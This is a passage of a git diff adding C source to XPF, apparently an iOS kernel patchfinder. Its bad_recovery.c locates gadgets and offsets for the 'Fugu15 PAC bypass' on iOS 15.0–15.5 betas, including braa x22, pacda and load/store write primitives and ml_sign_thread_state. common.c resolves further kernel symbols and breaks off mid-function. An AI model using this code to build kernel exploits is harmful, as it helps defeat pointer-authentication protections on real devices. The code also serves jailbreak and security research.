DYLD_CHAINED_IMPORT_ADDEND64 = 3, +}; + +// DYLD_CHAINED_IMPORT +struct dyld_chained_import +{ + uint32_t lib_ordinal : 8, // -15 .. 240 (0xF1 .. 0xF0) + weak_import : 1, + name_offset : 23; +}; + +// DYLD_CHAINED_IMPORT_ADDEND +struct dyld_chained_import_addend +{ + uint32_t lib_ordinal : 8, // -15 .. 240 (0xF1 .. 0xF0) + weak_import : 1, + name_offset : 23; + int32_t addend; +}; + +// DYLD_CHAINED_IMPORT_ADDEND64 +struct dyld_chained_import_addend64 +{ + uint64_t lib_ordinal : 16, // -15 .. 65520 (0xFFF1 .. 0xFFF0) + weak_import : 1, + reserved : 15, + name_offset : 32; + uint64_t addend; +}; + +#endif // __MACH_O_FIXUP_CHAINS__ + diff --git a/XPF/src/bad_recovery.c b/XPF/src/bad_recovery.c new file mode 100644 index 0000000..79b41ca --- /dev/null +++ b/XPF/src/bad_recovery.c @@ -0,0 +1,311 @@ +#include "xpf.h" + +// Offsets required for the Fugu15 PAC bypass + +bool xpf_bad_recovery_supported(void) +{ + if (!gXPF.kernelIsArm64e) { + // non-PACed devices + return false; + } + if (strcmp(gXPF.darwinVersion, "21.0.0") >= 0 && strcmp(gXPF.darwinVersion, "21.5.0") < 0) { + // iOS 15.0 - 15.4.1: Supported + return true; + } + else if ( + (strcmp(gXPF.xnuBuild, "8020.120.43.112.1~1") == 0) || + (strcmp(gXPF.xnuBuild, "8020.120.51.122.2~1") == 0) || + (strcmp(gXPF.xnuBuild, "8020.120.68.132.1~1") == 0) + ) { + // iOS 15.5b1 - 15.5b3: Supported + return true; + } + + // Anything else: Not supported + return false; +} + +static uint64_t xpf_find_hw_lck_ticket_reserve_orig_allow_invalid_signed(void) +{ + uint32_t strX10X16Any = 0, strX10X16AnyMask = 0; + arm64_gen_str_imm(0, LDR_STR_TYPE_UNSIGNED, ARM64_REG_X(10), ARM64_REG_X(16), OPT_UINT64_NONE, &strX10X16Any, &strX10X16AnyMask); + + uint32_t movzW0_0 = 0, movzW0_0Mask = 0; + arm64_gen_mov_imm('z', ARM64_REG_W(0), OPT_UINT64(0), OPT_UINT64(0), &movzW0_0, &movzW0_0Mask); + + uint32_t inst[] = (uint32_t[]) { + strX10X16Any, // str x10, [x16, ?] + movzW0_0, // movz w0, #0 + 0xd65f03c0, // ret + }; + uint32_t mask[] = (uint32_t[]) { + strX10X16AnyMask, + movzW0_0Mask, + 0xffffffff, + }; + + PFPatternMetric *metric = pfmetric_pattern_init(inst, mask, sizeof(inst), sizeof(uint32_t)); + __block uint64_t hw_lck_ticket_reserve_orig_allow_invalid_signed = 0; + pfmetric_run(gXPF.kernelTextSection, metric, ^(uint64_t vmaddr, bool *stop) { + // Filter out anything with a wfe instruction before it + if (pfsec_read32(gXPF.kernelTextSection, vmaddr-4) != 0xd503205f /* wfe */) { + hw_lck_ticket_reserve_orig_allow_invalid_signed = vmaddr; + *stop = true; + } + }); + pfmetric_free(metric); + return hw_lck_ticket_reserve_orig_allow_invalid_signed; +} + +static uint64_t xpf_find_hw_lck_ticket_reserve_orig_allow_invalid(void) +{ + uint32_t adrAny = 0, adrAnyMask = 0; + arm64_gen_adr_p(OPT_BOOL(false), OPT_UINT64_NONE, OPT_UINT64_NONE, ARM64_REG_ANY, &adrAny, &adrAnyMask); + + uint64_t hw_lck_ticket_reserve_orig_allow_invalid_signed = xpf_item_resolve("kernelGadget.hw_lck_ticket_reserve_orig_allow_invalid_signed"); + XPF_ASSERT(hw_lck_ticket_reserve_orig_allow_invalid_signed); + return pfsec_find_prev_inst(gXPF.kernelTextSection, hw_lck_ticket_reserve_orig_allow_invalid_signed, 40, adrAny, adrAnyMask); +} + +static uint64_t xpf_find_br_x22_gadget(void) +{ + // Gadget: + // pacia x22, sp + // (... some code ...) + // braa x22, sp + + uint32_t inst[] = (uint32_t[]){ + 0xd71f0adf // braa x22, sp + }; + + __block uint64_t brX22Gadget = 0; + PFPatternMetric *pacMetric = pfmetric_pattern_init(inst, NULL, sizeof(inst), sizeof(uint32_t)); + pfmetric_run(gXPF.kernelTextSection, pacMetric, ^(uint64_t signCandidate, bool *stop) { + uint32_t brX22 = 0xdac103f6; // pacia x22, sp + uint64_t brX22Addr = pfsec_find_prev_inst(gXPF.kernelTextSection, signCandidate, 50, brX22, 0xffffffff); + if (brX22Addr) { + brX22Gadget = brX22Addr; + *stop = true; + } + }); + pfmetric_free(pacMetric); + + return brX22Gadget; +} + +static uint64_t xpf_find_exception_return_after_check(void) +{ + uint64_t exception_return = xpf_item_resolve("kernelSymbol.exception_return"); + + uint32_t inst[] = (uint32_t[]){ + 0xaa0303fe, // mov x30, x3 + 0xaa1603e3, // mov x3, x22 + 0xaa1703e4, // mov x4, x23 + 0xaa1803e5 // mov x5, x24 + }; + + PFPatternMetric *metric = pfmetric_pattern_init(inst, NULL, sizeof(inst), sizeof(uint32_t)); + __block uint64_t exception_return_after_check = 0; + pfmetric_run_in_range(gXPF.kernelTextSection, exception_return, -1, metric, ^(uint64_t vmaddr, bool *stop){ + exception_return_after_check = vmaddr; + *stop = true; + }); + pfmetric_free(metric); + return exception_return_after_check; +} + +static uint64_t xpf_find_exception_return_after_check_no_restore(void) +{ + uint64_t exception_return = xpf_item_resolve("kernelSymbol.exception_return"); + + uint32_t inst[] = (uint32_t[]){ + 0xd5184021 // msr elr_el1, x1 + }; + + PFPatternMetric *metric = pfmetric_pattern_init(inst, NULL, sizeof(inst), sizeof(uint32_t)); + __block uint64_t exception_return_after_check_no_restore = 0; + pfmetric_run_in_range(gXPF.kernelTextSection, exception_return, -1, metric, ^(uint64_t vmaddr, bool *stop){ + exception_return_after_check_no_restore = vmaddr; + *stop = true; + }); + pfmetric_free(metric); + return exception_return_after_check_no_restore; +} + +static uint64_t xpf_find_ldp_x0_x1_x8_gadget(void) +{ + uint32_t inst[] = (uint32_t[]){ + 0xa9400500, // ldp x0, x1, [x8] + 0xd65f03c0 // ret + }; + + PFPatternMetric *metric = pfmetric_pattern_init(inst, NULL, sizeof(inst), sizeof(uint32_t)); + __block uint64_t ldp_x0_x1_x8_gadget = 0; + pfmetric_run(gXPF.kernelTextSection, metric, ^(uint64_t vmaddr, bool *stop) { + ldp_x0_x1_x8_gadget = vmaddr; + *stop = true; + }); + pfmetric_free(metric); + return ldp_x0_x1_x8_gadget; +} + +static uint64_t xpf_find_str_x8_x9_gadget(void) +{ + uint32_t inst[] = (uint32_t[]){ + 0xf9000128, // str x8, [x9] + 0xd65f03c0 // ret + }; + + PFPatternMetric *metric = pfmetric_pattern_init(inst, NULL, sizeof(inst), sizeof(uint32_t)); + __block uint64_t str_x8_x9_gadget = 0; + pfmetric_run(gXPF.kernelTextSection, metric, ^(uint64_t vmaddr, bool *stop) { + str_x8_x9_gadget = vmaddr; + *stop = true; + }); + pfmetric_free(metric); + return str_x8_x9_gadget; +} + +static uint64_t xpf_find_str_x0_x19_ldr_x20_gadget(void) +{ + uint32_t ldrAnyX20Any = 0, ldrAnyX20AnyMask = 0; + arm64_gen_ldr_imm(0, LDR_STR_TYPE_UNSIGNED, ARM64_REG_ANY, ARM64_REG_X(20), OPT_UINT64_NONE, &ldrAnyX20Any, &ldrAnyX20AnyMask); + + uint32_t inst[] = (uint32_t[]){ + 0xf9000260, // str x0, [x19] + ldrAnyX20Any // ldr x?, [x20, ?] + }; + uint32_t mask[] = (uint32_t[]){ + 0xffffffff, + ldrAnyX20AnyMask + }; + + PFPatternMetric *metric = pfmetric_pattern_init(inst, mask, sizeof(inst), sizeof(uint32_t)); + __block uint64_t str_x0_x19_ldr_x20_gadget = 0; + pfmetric_run(gXPF.kernelTextSection, metric, ^(uint64_t vmaddr, bool *stop) { + str_x0_x19_ldr_x20_gadget = vmaddr; + *stop = true; + }); + pfmetric_free(metric); + return str_x0_x19_ldr_x20_gadget; +} + +static uint64_t xpf_find_pacda_gadget(void) +{ + uint32_t inst[] = (uint32_t[]){ + 0xf100003f, // cmp x1, #0 + 0xdac10921, // pacda x1, x9 + 0x9a8103e9, // str x9, [x8] + 0xf9000109, // csel x9, xzr, x1, eq + 0xd65f03c0 // ret + }; + + PFPatternMetric *metric = pfmetric_pattern_init(inst, NULL, sizeof(inst), sizeof(uint32_t)); + __block uint64_t pacda_gadget = 0; + pfmetric_run(gXPF.kernelTextSection, metric, ^(uint64_t vmaddr, bool *stop) { + pacda_gadget = vmaddr; + *stop = true; + }); + pfmetric_free(metric); + return pacda_gadget; +} + +static uint64_t xpf_find_ml_sign_thread_state(void) +{ + uint32_t inst[] = (uint32_t[]){ + 0x9ac03021, // pacga x1, x1, x0 + 0x9262f842, // and x2, x2, #0xffffffffdfffffff + 0x9ac13041, // pacga x1, x2, x1 + 0x9ac13061, // pacga x1, x3, x1 + 0x9ac13081, // pacga x1, x4, x1 + 0x9ac130a1, // pacga x1, x5, x1 + 0xf9009401, // str x1, [x0, #0x128] + 0xd65f03c0 // ret + }; + + PFPatternMetric *metric = pfmetric_pattern_init(inst, NULL, sizeof(inst), sizeof(uint32_t)); + __block uint64_t ml_sign_thread_state = 0; + pfmetric_run(gXPF.kernelTextSection, metric, ^(uint64_t vmaddr, bool *stop) { + ml_sign_thread_state = vmaddr; + *stop = true; + }); + pfmetric_free(metric); + return ml_sign_thread_state; +} + +static uint64_t xpf_find_thread_recover(void) +{ + uint64_t hw_lck_ticket_reserve_orig_allow_invalid_signed = xpf_item_resolve("kernelGadget.hw_lck_ticket_reserve_orig_allow_invalid_signed"); + XPF_ASSERT(hw_lck_ticket_reserve_orig_allow_invalid_signed); + uint32_t strInst = pfsec_read32(gXPF.kernelTextSection, hw_lck_ticket_reserve_orig_allow_invalid_signed); + uint64_t imm = 0; + arm64_dec_str_imm(strInst, NULL, NULL, &imm, NULL, NULL); + return imm; +} + +static uint64_t xpf_find_thread_machine_kstackptr(void) +{ + uint32_t ldrAnyInst = 0, ldrAnyMask = 0; + arm64_gen_ldr_imm(0, LDR_STR_TYPE_UNSIGNED, ARM64_REG_ANY, ARM64_REG_ANY, OPT_UINT64_NONE, &ldrAnyInst, &ldrAnyMask); + + uint32_t inst[3] = { + 0xd538d08a, // mrs x10, tpidr_el1 + ldrAnyInst, // ldr x?, [x?, TH_KSTACKPTR] + 0xd503233f, // paciasp + }; + uint32_t mask[3] = { + 0xffffffff, + ldrAnyMask, + 0xffffffff, + }; + + __block uint64_t machine_kstackptr = 0; + PFPatternMetric *patternMetric = pfmetric_pattern_init(inst, mask, sizeof(inst), sizeof(uint32_t)); + pfmetric_run(gXPF.kernelTextSection, patternMetric, ^(uint64_t vmaddr, bool *stop) { + arm64_dec_ldr_imm(pfsec_read32(gXPF.kernelTextSection, vmaddr + 4), NULL, NULL, &machine_kstackptr, NULL, NULL); + *stop = true; + }); + pfmetric_free(patternMetric); + + if (!machine_kstackptr) { + uint32_t inst2[] = { + 0xd538d08a, // mrs x10, tpidr_el1 + ldrAnyInst, // ldr x?, [x?, TH_KSTACKPTR] + }; + uint32_t mask2[] = { + 0xffffffff, + ldrAnyMask, + }; + + uint32_t movk_w12_0x4Inst = 0, movk_w12_0x4Mask = 0; + arm64_gen_mov_imm('k', ARM64_REG_W(12), OPT_UINT64(0x4), OPT_UINT64(0), &movk_w12_0x4Inst, &movk_w12_0x4Mask); + + PFPatternMetric *patternMetric2 = pfmetric_pattern_init(inst2, mask2, sizeof(inst2), sizeof(uint32_t)); + pfmetric_run(gXPF.kernelTextSection, patternMetric2, ^(uint64_t vmaddr, bool *stop) { + if (pfsec_find_next_inst(gXPF.kernelTextSection, vmaddr, 0x10, movk_w12_0x4Inst, movk_w12_0x4Mask)) { + arm64_dec_ldr_imm(pfsec_read32(gXPF.kernelTextSection, vmaddr + 4), NULL, NULL, &machine_kstackptr, NULL, NULL); + *stop = true; + } + }); + pfmetric_free(patternMetric2); + } + + return machine_kstackptr; +} + +void xpf_bad_recovery_init(void) +{ + if (gXPF.kernelIsArm64e && xpf_bad_recovery_supported()) { + xpf_item_register("kernelSymbol.hw_lck_ticket_reserve_orig_allow_invalid", xpf_find_hw_lck_ticket_reserve_orig_allow_invalid, NULL); + xpf_item_register("kernelGadget.hw_lck_ticket_reserve_orig_allow_invalid_signed", xpf_find_hw_lck_ticket_reserve_orig_allow_invalid_signed, NULL); + xpf_item_register("kernelGadget.br_x22", xpf_find_br_x22_gadget, NULL); + xpf_item_register("kernelGadget.exception_return_after_check", xpf_find_exception_return_after_check, NULL); + xpf_item_register("kernelGadget.exception_return_after_check_no_restore", xpf_find_exception_return_after_check_no_restore, NULL); + xpf_item_register("kernelGadget.ldp_x0_x1_x8", xpf_find_ldp_x0_x1_x8_gadget, NULL); + xpf_item_register("kernelGadget.str_x8_x9", xpf_find_str_x8_x9_gadget, NULL); + xpf_item_register("kernelGadget.str_x0_x19_ldr_x20", xpf_find_str_x0_x19_ldr_x20_gadget, NULL); + xpf_item_register("kernelGadget.pacda", xpf_find_pacda_gadget, NULL); + xpf_item_register("kernelSymbol.ml_sign_thread_state", xpf_find_ml_sign_thread_state, NULL); + xpf_item_register("kernelStruct.thread.recover", xpf_find_thread_recover, NULL); + } +} \ No newline at end of file diff --git a/XPF/src/bad_recovery.h b/XPF/src/bad_recovery.h new file mode 100644 index 0000000..bbc6c7d --- /dev/null +++ b/XPF/src/bad_recovery.h @@ -0,0 +1,2 @@ +void xpf_bad_recovery_init(void); +bool xpf_bad_recovery_supported(void); \ No newline at end of file diff --git a/XPF/src/common.c b/XPF/src/common.c new file mode 100644 index 0000000..10e9913 --- /dev/null +++ b/XPF/src/common.c @@ -0,0 +1,1385 @@ +#include "xpf.h" + +static uint64_t xpf_sptm_find_arm_vm_init(void) { + PFStringMetric *unsupportedMemMetric = pfmetric_string_init("Unsupported memory configuration %lx @%s:%d"); + __block uint64_t unsupportedMemAddr = 0; + pfmetric_run(gXPF.kernelStringSection, unsupportedMemMetric, ^(uint64_t vmaddr, bool *stop) { + unsupportedMemAddr = vmaddr; + *stop = true; + }); + pfmetric_free(unsupportedMemMetric); + XPF_ASSERT(unsupportedMemAddr); + + __block uint64_t arm_init_mid = 0; + PFXrefMetric *unsupportedMemXrefMetric = pfmetric_xref_init(unsupportedMemAddr, XREF_TYPE_MASK_REFERENCE); + pfmetric_run(gXPF.kernelTextSection, unsupportedMemXrefMetric, ^(uint64_t vmaddr, bool *stop) { + arm_init_mid = vmaddr; + *stop = true; + }); + pfmetric_free(unsupportedMemXrefMetric); + XPF_ASSERT(arm_init_mid); + + uint64_t ret = pfsec_find_function_start(gXPF.kernelTextSection, arm_init_mid); + return ret; +} + +static uint64_t xpf_find_arm_vm_init(void) +{ + PFStringMetric *contiguousHintMetric = pfmetric_string_init("use_contiguous_hint"); + __block uint64_t contiguousHintAddr = 0; + pfmetric_run(gXPF.kernelStringSection, contiguousHintMetric, ^(uint64_t vmaddr, bool *stop) { + contiguousHintAddr = vmaddr; + *stop = true; + }); + pfmetric_free(contiguousHintMetric); + XPF_ASSERT(contiguousHintAddr); + + __block uint64_t arm_init_mid = 0; + PFXrefMetric *contiguousHintXrefMetric = pfmetric_xref_init(contiguousHintAddr, XREF_TYPE_MASK_REFERENCE); + pfmetric_run(gXPF.kernelTextSection, contiguousHintXrefMetric, ^(uint64_t vmaddr, bool *stop) { + arm_init_mid = vmaddr; + *stop = true; + }); + pfmetric_free(contiguousHintXrefMetric); + XPF_ASSERT(arm_init_mid); + + return pfsec_find_function_start(gXPF.kernelTextSection, arm_init_mid); +} + +static uint64_t xpf_find_arm_vm_init_reference(uint32_t n) +{ + uint64_t arm_vm_init = xpf_item_resolve("kernelSymbol.arm_vm_init"); + XPF_ASSERT(arm_vm_init); + + uint32_t strAny = 0, strAnyMask = 0; + arm64_gen_str_imm(0, LDR_STR_TYPE_UNSIGNED, ARM64_REG_ANY, ARM64_REG_ANY, OPT_UINT64_NONE, &strAny, &strAnyMask); + + uint64_t toCheck = arm_vm_init; + uint64_t strAddr = 0; + for (int i = 0; i < n; i++) { + strAddr = pfsec_find_next_inst(gXPF.kernelTextSection, toCheck, 0x20, strAny, strAnyMask); + toCheck = strAddr + 4; + } + + return pfsec_arm64_resolve_adrp_ldr_str_add_reference_auto(gXPF.kernelTextSection, strAddr); +} + +static uint64_t xpf_find_pmap_bootstrap(void) +{ + __block uint64_t pmap_asid_plru_stringAddr = 0; + PFStringMetric *asidPlruMetric = pfmetric_string_init("pmap_asid_plru"); + pfmetric_run(gXPF.kernelStringSection, asidPlruMetric, ^(uint64_t vmaddr, bool *stop) { + pmap_asid_plru_stringAddr = vmaddr; + *stop = true; + }); + pfmetric_free(asidPlruMetric); + XPF_ASSERT(pmap_asid_plru_stringAddr); + + __block uint64_t pmap_bootstrap = 0; + PFXrefMetric *asidPlruXrefMetric = pfmetric_xref_init(pmap_asid_plru_stringAddr, XREF_TYPE_MASK_REFERENCE); + pfmetric_run(gXPF.kernelTextSection, asidPlruXrefMetric, ^(uint64_t vmaddr, bool *stop) { + pmap_bootstrap = pfsec_find_function_start(gXPF.kernelTextSection, vmaddr); + *stop = true; + }); + pfmetric_free(asidPlruXrefMetric); + return pmap_bootstrap; +} + +static uint64_t xpf_find_pointer_mask_symbol(uint32_t n) +{ + uint64_t pmap_bootstrap = xpf_item_resolve("kernelSymbol.pmap_bootstrap"); + XPF_ASSERT(pmap_bootstrap); + + uint32_t ldrQ0AnyInst = 0, ldrQ0AnyMask = 0; + arm64_gen_ldr_imm(0, LDR_STR_TYPE_UNSIGNED, ARM64_REG_Q(0), ARM64_REG_ANY, OPT_UINT64_NONE, &ldrQ0AnyInst, &ldrQ0AnyMask); + + uint64_t ldrAddr = pfsec_find_next_inst(gXPF.kernelTextSection, pmap_bootstrap, 0x100, ldrQ0AnyInst, ldrQ0AnyMask); + + return pfsec_arm64_resolve_adrp_ldr_str_add_reference_auto(gXPF.kernelTextSection, ldrAddr); +} + +static uint64_t xpf_find_pointer_mask(void) +{ + uint64_t pointer_mask_symbol = xpf_item_resolve("kernelSymbol.pointer_mask"); + XPF_ASSERT(pointer_mask_symbol); + + uint64_t pointer_mask = pfsec_read64(gXPF.kernelConstSection, pointer_mask_symbol); + if (pointer_mask != 0xffffff8000000000 && pointer_mask != 0xffff800000000000 && pointer_mask != 0xffffffc000000000) { + xpf_set_error("xpf_find_pointer_mask error: Unexpected PAC mask: 0x%llx", pointer_mask); + return 0; + } + return pointer_mask; +} + +static uint64_t xpf_find_T1SZ_BOOT(void) +{ + // for T1SZ_BOOT, count how many bits in the pointer_mask are set + uint64_t pointer_mask = xpf_item_resolve("kernelConstant.pointer_mask"); + uint64_t T1SZ_BOOT = 0; + for (uint64_t i = 64; i > 0; i--) { + if (pointer_mask & (1ULL << (i - 1))) { + T1SZ_BOOT++; + } + } + return T1SZ_BOOT; +} + +static uint64_t xpf_find_ARM_TT_L1_INDEX_MASK(void) +{ + uint64_t T1SZ_BOOT = xpf_item_resolve("kernelConstant.T1SZ_BOOT"); + switch (T1SZ_BOOT) { + case 17: + return 0x00007ff000000000ULL; + case 25: + return 0x0000007000000000ULL; + case 26: + return 0x0000003fc0000000ULL; + default: + xpf_set_error("ARM_TT_L1_INDEX_MASK: Unexpected T1SZ_BOOT??? (%llu)", T1SZ_BOOT); + return 0; + } +} + +static uint64_t xpf_find_PT_INDEX_MAX(void) +{ + // return 0x4343434343434343; + PFSection *textSection = (gXPF.kernelIsArm64e && !gXPF.isSPTMDevice) ? gXPF.kernelPPLTextSection : gXPF.kernelTextSection; + + PFStringMetric *stringMetric = pfmetric_string_init("%s: out of PTD entries and for some reason didn't allocate more %d %p"); + __block uint64_t stringAddr = 0; + pfmetric_run(gXPF.kernelStringSection, stringMetric, ^(uint64_t vmaddr, bool *stop){ + stringAddr = vmaddr; + *stop = true; + }); + pfmetric_free(stringMetric); + XPF_ASSERT(stringAddr); + + PFXrefMetric *xrefMetric = pfmetric_xref_init(stringAddr, XREF_TYPE_MASK_REFERENCE); + __block uint64_t xrefAddr = 0; + pfmetric_run(textSection, xrefMetric, ^(uint64_t vmaddr, bool *stop){ + xrefAddr = vmaddr; + *stop = true; + }); + pfmetric_free(xrefMetric); + XPF_ASSERT(xrefAddr); + + uint32_t movnAny0Inst = 0, movnAny0Mask = 0; + arm64_gen_mov_imm('n', ARM64_REG_ANY, OPT_UINT64(0), OPT_UINT64(0), &movnAny0Inst, &movnAny0Mask); + uint64_t movAddr = pfsec_find_prev_inst(textSection, xrefAddr, 100, movnAny0Inst, movnAny0Mask); + XPF_ASSERT(movAddr); + + arm64_register movReg; + int r = arm64_dec_mov_imm(pfsec_read32(textSection, movAddr), &movReg, NULL, NULL, NULL); + + uint32_t strInst = 0, strMask = 0; + arm64_gen_str_imm(0, LDR_STR_TYPE_UNSIGNED, movReg, ARM64_REG_ANY, OPT_UINT64_NONE, &strInst, &strMask); + uint32_t ret = gXPF.kernelIsArm64e ? 0xd65f0fff : 0xd65f03c0; + + // We need to count all "str [movReg], ?" instructions until we hit a RET(AB), then we have the PT_INDEX_MAX + // Apparently the first one is an STP :( so we start with 1 + uint64_t PT_INDEX_MAX = 1; + for (int i = 0; i < 100; i++) { + uint32_t inst = pfsec_read32(textSection, movAddr + (i * 4)); + if ((inst & strMask) == strInst) { + PT_INDEX_MAX++; + } + else if (inst == ret) { + break; + } + } + return PT_INDEX_MAX; +} + +static uint64_t xpf_find_phystokv(void) +{ + uint64_t arm_vm_init = xpf_item_resolve("kernelSymbol.arm_vm_init"); + XPF_ASSERT(arm_vm_init); + + uint32_t blAny = 0, blAnyMask = 0; + arm64_gen_b_l(OPT_BOOL(true), OPT_UINT64_NONE, OPT_UINT64_NONE, &blAny, &blAnyMask); + + // On ARM_LARGE_MEMORY kernels, the second bl is phystokv + uint32_t n = gXPF.kernelBase == 0xfffffe0007004000 ? 2 : 1; + + uint64_t blAddr = arm_vm_init; + for (uint32_t i = 0; i < n; i++) { + blAddr = pfsec_find_next_inst(gXPF.kernelTextSection, blAddr + 4, 0, blAny, blAnyMask); + } + + uint64_t phystokv = 0; + arm64_dec_b_l(pfsec_read32(gXPF.kernelTextSection, blAddr), blAddr, &phystokv, NULL); + return phystokv; +} + +/*static uint64_t xpf_find_gVirtSize(void) +{ + return 0; +}*/ + +static uint64_t xpf_find_ptov_table(void) +{ + uint64_t phystokv = xpf_item_resolve("kernelSymbol.phystokv"); + XPF_ASSERT(phystokv); + + uint32_t ldrAny = 0, ldrAnyMask = 0; + arm64_gen_ldr_imm(0, LDR_STR_TYPE_UNSIGNED, ARM64_REG_ANY, ARM64_REG_ANY, OPT_UINT64_NONE, &ldrAny, &ldrAnyMask); + + // Second ldr in phytokv references ptov_table + uint64_t toCheck = phystokv; + uint64_t ldrAddr = 0; + for (int i = 0; i < 2; i++) { + ldrAddr = pfsec_find_next_inst(gXPF.kernelTextSection, toCheck, 20, ldrAny, ldrAnyMask); + toCheck = ldrAddr + 4; + } + XPF_ASSERT(ldrAddr); + + return pfsec_arm64_resolve_adrp_ldr_str_add_reference_auto(gXPF.kernelTextSection, ldrAddr); +} + +static uint64_t xpf_find_start_first_cpu(void) +{ + uint64_t start_first_cpu = 0; + arm64_dec_b_l(pfsec_read32(gXPF.kernelTextSection, gXPF.kernelEntry), gXPF.kernelEntry, &start_first_cpu, NULL); + return start_first_cpu; +} + +static uint64_t xpf_find_cpu_ttep(void) +{ + if (gXPF.isSPTMDevice) { + uint64_t pmap_bootstrap = xpf_item_resolve("kernelSymbol.pmap_bootstrap"); + + // search ADRP xN, #cpu_ttep@PAGE; + uint32_t inst[] = { + 0x90000000, // adrp xN, #0x... + 0xf9400000, // ldr xN, [xN, #0x...] + 0xa9000000, // stp xN, xN, [xN] + }; + uint32_t mask[] = { + 0x9F000000, + 0xFFC00000, + 0xFFFF8000, + }; + + PFPatternMetric *metric = pfmetric_pattern_init(inst, mask, sizeof(inst), sizeof(uint32_t)); + __block uint64_t adrpAddr = 0; + pfmetric_run_in_range(gXPF.kernelTextSection, pmap_bootstrap, -1, metric, ^(uint64_t vmaddr, bool *stop){ + adrpAddr = vmaddr; + *stop = true; + }); + pfmetric_free(metric); + + uint64_t ret = pfsec_arm64_resolve_adrp_ldr_str_add_reference_auto(gXPF.kernelTextSection, adrpAddr+4); + printf("cpu_ttep found? 0x%llx\n", ret); + return ret; + } + uint64_t start_first_cpu = xpf_item_resolve("kernelSymbol.start_first_cpu"); + + uint32_t cbzX21Any = 0, cbzX21AnyMask = 0; + arm64_gen_cb_n_z(OPT_BOOL(false), ARM64_REG_X(21), OPT_UINT64_NONE, &cbzX21Any, &cbzX21AnyMask); + + uint64_t cpu_ttep_pre = pfsec_find_next_inst(gXPF.kernelTextSection, start_first_cpu, 0, cbzX21Any, cbzX21AnyMask); + XPF_ASSERT(cpu_ttep_pre); + + uint64_t addAddr = cpu_ttep_pre + 8; + return pfsec_arm64_resolve_adrp_ldr_str_add_reference_auto(gXPF.kernelTextSection, addAddr); +} + +static uint64_t xpf_find_kernel_el(void) +{ + uint64_t start_first_cpu = xpf_item_resolve("kernelSymbol.start_first_cpu"); + + uint32_t inst = pfsec_read32(gXPF.kernelTextSection, start_first_cpu + 16); + if (inst == 0xd5384240 /* msr x0, CurrentEL */) { + return 2; + } + + return 1; +} + +static uint64_t xpf_find_fatal_error_fmt(void) +{ + PFSection *textSec = (gXPF.kernelAMFITextSection ?: gXPF.kernelTextSection); + PFSection *stringSec = (gXPF.kernelAMFIStringSection ?: gXPF.kernelStringSection); + if (!gXPF.kernelIsArm64e && !gXPF.kernelIsFileset) { + textSec = gXPF.kernelPLKTextSection; + stringSec = gXPF.kernelPrelinkTextSection; + } + + PFStringMetric *amfiErrorMetric = pfmetric_string_init("AMFI: %s: Failed to allocate memory for fatal error message, cannot produce a crash reason.\n"); + __block uint64_t amfiErrorAddr = 0; + pfmetric_run(stringSec, amfiErrorMetric, ^(uint64_t vmaddr, bool *stop) { + amfiErrorAddr = vmaddr; + *stop = true; + }); + + if (!amfiErrorAddr) { + textSec = gXPF.kernelTextSection; + stringSec = gXPF.kernelStringSection; + + pfmetric_run(stringSec, amfiErrorMetric, ^(uint64_t vmaddr, bool *stop) { + amfiErrorAddr = vmaddr; + *stop = true; + }); + } + pfmetric_free(amfiErrorMetric); + XPF_ASSERT(amfiErrorAddr); + + __block uint64_t fatal_error_fmt = 0; + PFXrefMetric *amfiErrorXrefMetric = pfmetric_xref_init(amfiErrorAddr, XREF_TYPE_MASK_REFERENCE); + pfmetric_run(textSec, amfiErrorXrefMetric, ^(uint64_t vmaddr, bool *stop) { + fatal_error_fmt = pfsec_find_function_start(textSec, vmaddr); + *stop = true; + }); + pfmetric_free(amfiErrorXrefMetric); + return fatal_error_fmt; +} + +static uint64_t xpf_find_kalloc_data_external(void) +{ + PFSection *sec = (gXPF.kernelAMFITextSection ?: gXPF.kernelTextSection); + if (!gXPF.kernelIsArm64e && !gXPF.kernelIsFileset) { + sec = gXPF.kernelPLKTextSection; + } + + uint64_t fatal_error_fmt = xpf_item_resolve("kernelSymbol.fatal_error_fmt"); + XPF_ASSERT(fatal_error_fmt); + + uint32_t blAny = 0, blAnyMask = 0; + arm64_gen_b_l(OPT_BOOL(true), OPT_UINT64_NONE, OPT_UINT64_NONE, &blAny, &blAnyMask); + uint64_t kallocDataExternalBlAddr = pfsec_find_next_inst(sec, fatal_error_fmt, 20, blAny, blAnyMask); + if (!kallocDataExternalBlAddr) { + sec = gXPF.kernelTextSection; + kallocDataExternalBlAddr = pfsec_find_next_inst(sec, fatal_error_fmt, 20, blAny, blAnyMask); + } + XPF_ASSERT(kallocDataExternalBlAddr); + + uint32_t kallocDataExternalBl = pfsec_read32(sec, kallocDataExternalBlAddr); + + uint64_t kallocDataExternal = 0; + arm64_dec_b_l(kallocDataExternalBl, kallocDataExternalBlAddr, &kallocDataExternal, NULL); + XPF_ASSERT(kallocDataExternal); + + return pfsec_arm64_resolve_stub(sec, kallocDataExternal); +} + +static uint64_t xpf_find_kfree_data_external(void) +{ + PFSection *sec = (gXPF.kernelAMFITextSection ?: gXPF.kernelTextSection); + if (!gXPF.kernelIsArm64e && !gXPF.kernelIsFileset) { + sec = gXPF.kernelPLKTextSection; + } + + uint64_t fatal_error_fmt = xpf_item_resolve("kernelSymbol.fatal_error_fmt"); + XPF_ASSERT(fatal_error_fmt); + + uint32_t blAny = 0, blAnyMask = 0; + arm64_gen_b_l(OPT_BOOL(true), OPT_UINT64_NONE, OPT_UINT64_NONE, &blAny, &blAnyMask); + + uint32_t ret = gXPF.kernelIsArm64e ? 0xd65f0fff : 0xd65f03c0; + uint64_t fatal_error_fmt_end = pfsec_find_next_inst(sec, fatal_error_fmt, 0, ret, 0xffffffff); + if (!fatal_error_fmt_end) { + sec = gXPF.kernelTextSection; + fatal_error_fmt_end = pfsec_find_next_inst(sec, fatal_error_fmt, 0, ret, 0xffffffff); + } + XPF_ASSERT(fatal_error_fmt_end); + + uint32_t movW1_0x400_Inst = 0, movW1_0x400_InstMask = 0; + arm64_gen_mov_imm('z', ARM64_REG_W(1), OPT_UINT64(0x400), OPT_UINT64(0), &movW1_0x400_Inst, &movW1_0x400_InstMask); + uint64_t kfree_data_external_pre = pfsec_find_prev_inst(sec, fatal_error_fmt_end, 25, movW1_0x400_Inst, movW1_0x400_InstMask); + + uint64_t kfree_data_external = 0; + int decRet = arm64_dec_b_l(pfsec_read32(sec, kfree_data_external_pre+4), kfree_data_external_pre+4, &kfree_data_external, NULL); + XPF_ASSERT(decRet == 0); + + return pfsec_arm64_resolve_stub(sec, kfree_data_external); +} + +static uint64_t xpf_find_allproc(void) +{ + PFStringMetric *shutdownwaitMetric = pfmetric_string_init("shutdownwait"); + XPF_ASSERT(shutdownwaitMetric); + + __block uint64_t shutdownwaitString = 0; 